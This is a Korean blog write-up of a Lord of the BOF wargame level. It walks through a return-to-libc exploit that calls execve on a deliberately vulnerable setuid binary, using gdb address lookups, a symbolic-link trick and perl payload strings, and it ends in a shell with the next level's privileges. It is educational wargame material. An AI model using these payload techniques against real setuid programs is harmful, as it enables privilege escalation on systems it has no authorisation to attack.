giant.c를 열어봅시다.
이번에도 주석에 친절하게 RTL이라고 미리 설명해주고 있다.
근데 뭔가 코드가 좀 더럽?네..
슥슥 읽어보는거 보다 코드 해석부터 좀 할 필요가 있는듯 하다.
---------------------------------------------------------------------------------------------------------
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
---------------------------------------------------------------------------------------------------------
popen() 함수는 파이프를 생성하는 함수이다.
FILE *popen(const char *command, const char *type);
인자 2개를 받는데, 앞에는 명령어, 뒤에는 명령어 타입이다.
여기서는 "r" 로 되어 있는데, 이건 명령어를 읽어들이는 타입이다.
소스를 살펴보면, ldd명령을 이용하여 /home/giant/assassin 의 라이브러리를 확인하고 거기서
/lib/libc.so.6 즉, 라이브러리 오브젝트 파일의 주소를 알아온다.
그리고 그 뒤 nm 명령을 이용하여 /lib/libc.so.6 에서 execve 함수가 어딨는지 offset을 받아온다.
nm 명령을 쳐보면 라이브러리의 함수들의 주소가 나오는게 아니라 offset으로 나온다.
그러므로 execve 함수의 정확한 주소를 알기 위해서 /lib/libc.so.6 주소와 execve 함수의 offset이 필요한 것임.
---------------------------------------------------------------------------------------------------------
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
---------------------------------------------------------------------------------------------------------
이 부분 보면 RTL을 쓰는데, 시스템 함수 말구 execve 함수를 쓰라는 것 같다.
그럼 뭐 하라는데로 해야지 뭐..
저번과 같이 execve함수 주소 구하고 "/bin/sh" 넣어보자.
먼저 execve함수 주소를 구한다.
[bugbear@localhost bugbear]$ cp giant gianf
[bugbear@localhost bugbear]$ gdb -q gianf
(gdb) set disassembly-flavor intel
(gdb) b *main+3
Breakpoint 1 at 0x8048563
(gdb) r aaaa
Starting program: /home/bugbear/gianf aaaa
/bin/bash: /home/skeleton/.bashrc: Permission denied
Breakpoint 1, 0x8048563 in main ()
(gdb) print execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
그다음 "/bin/sh"를 찾아보자.
저번 문제 풀때 썼던 소스를 재활용한다.
찾으면 400fbff9 가 나온다.
근데 여기서 생각해볼게 있다.
execve함수에 인자를 넣어 줘야 하는데. 시스템 처럼 간단하게 되는게 아니다.
레퍼런스를 보자면,
execve()
int execve (const char *filename, char *const argv [], char *const envp[]);
이렇게 되어있다.
1번 인자는 위에 구한 문자열 주소로 지정해주면 되고
2번이 문제다. 다른 셸 실행함수와 다르게 execv 계열 함수(execvl, exec, execve 등)는
인자를 배열에 저장하고 배열 포인터를 execve의 인자로 넘겨준다.
그 말인 즉슨, argv[0], argv[1] 을 요소로 가지는 **argv를 넘겨준다 이말.
그러려면 "/bin/sh"로 실행할 인자가 "/bin/sh"이므로 argv 인자에 "/bin/sh"를 넣어줘야 한다는 얘긴데,
그러자니 넣을 곳이 마땅치가 않다. argv[0]은 파일명이고 argv[1]은 페이로드가 들어갈테고..
그럼?? 심볼릭 링크를 걸어 "/bin/sh"을 메꿔야 한다.
그리고 null값도 필요하다. 마지막 3번째 인자 envp 자리에 null이 들어가야 하는데..
여기서 번뜩 떠오른게 그때 레벨10 풀 때 스택 끝자락에 있던 프로그램명과 널 부분.
여기를 이용하면 2번째 인자와 3번째 인자를 한번에 해결할 수 있다.
일단 해보자.
페이로드는
[nop 44] [&execve] [nop 4] [&"/bin/sh"] [&스택끝 파일명] [&null]
정도가 되겠다.
[bugbear@localhost bugbear]$ ln -s giant `perl -e 'print "\xf9\xbf\x0f\x40"'`
[bugbear@localhost bugbear]$ ls
assassin findsh findsh.c gianf giant giant.c 廈?@
[bugbear@localhost bugbear]$ gdb -q gianf
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x8048560
(gdb) r aaaa
Starting program: /home/bugbear/gianf aaaa
/bin/bash: /home/skeleton/.bashrc: Permission denied
Breakpoint 1, 0x8048560 in main ()
(gdb) x/20s 0xbffff00
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
0xbffff00: <Address 0xbffff00 out of bounds>
(gdb) x/2s 0xbfffff00
0xbfffff00: "gz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm"...
0xbfffffc8: "=01;35:*.png=01;35:*.tif=01;35:"
(gdb)
0xbfffffe8: "/home/bugbear/gianf"
0xbffffffc: ""
[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` `perl -e 'print "\x90"x44,"\x48\x9d\x0a\x40","\x90"x4,"\xf9\xbf\x0f\x40","\xe8\xff\xff\xbf","\xfc\xff\xff\xbf"'`
You must use execve!
이 부분에서 약간 문제가 생기는데.. execve 함수를 쓰는데도 저런 내용이 나오는게. execve함수 주소에 \x0a를 null로 인식해서
그렇다고 한다. 그래서 스크립트 양쪽에 " " 더블쿼터를 씌워주면 해결된다고 해서 하니 그건 해결 되었다.
[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "\x90"x44,"\x48\x9d\x0a\x40","\x90"x4,"\xf9\xbf\x0f\x40","\xe8\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱H?
@릱릱廈@????
Segmentation fault
아까 스택 끝자락에 프로그램 이름이 담긴 부분의 주소를 볼때 길이를 고려안하고 계속 \xe8\xff\xff\xbf 로 때리니까
자꾸 세그먼트 폴트가 떠서 상당히 기분이 나빴다 ㅡㅡ; 근데 생각해보니.. 심볼릭 링크 걸면서 파일 이름이 바뀌니
당연히 주소가 바뀌지.. 그래서 고쳐서 다시 했다.
[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "\x90"x44,"\x48\x9d\x0a\x40","\x90"x4,"\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱H?
@릱릱廈@????
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
bash$
참고 url: http://forum.falinux.com/zbxe/?mid=C_LIB&page=9&document_srl=408202
'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글
LOB Level 16 (assassin) (0) | 2021.04.12 |
---|---|
LOB Level 15 (giant) (0) | 2021.04.12 |
LOB Level 13 (darkknight) (0) | 2021.04.12 |
LOB Level 12 (golem) (0) | 2021.04.12 |
LOB Level 11 (skeleton) (0) | 2021.04.12 |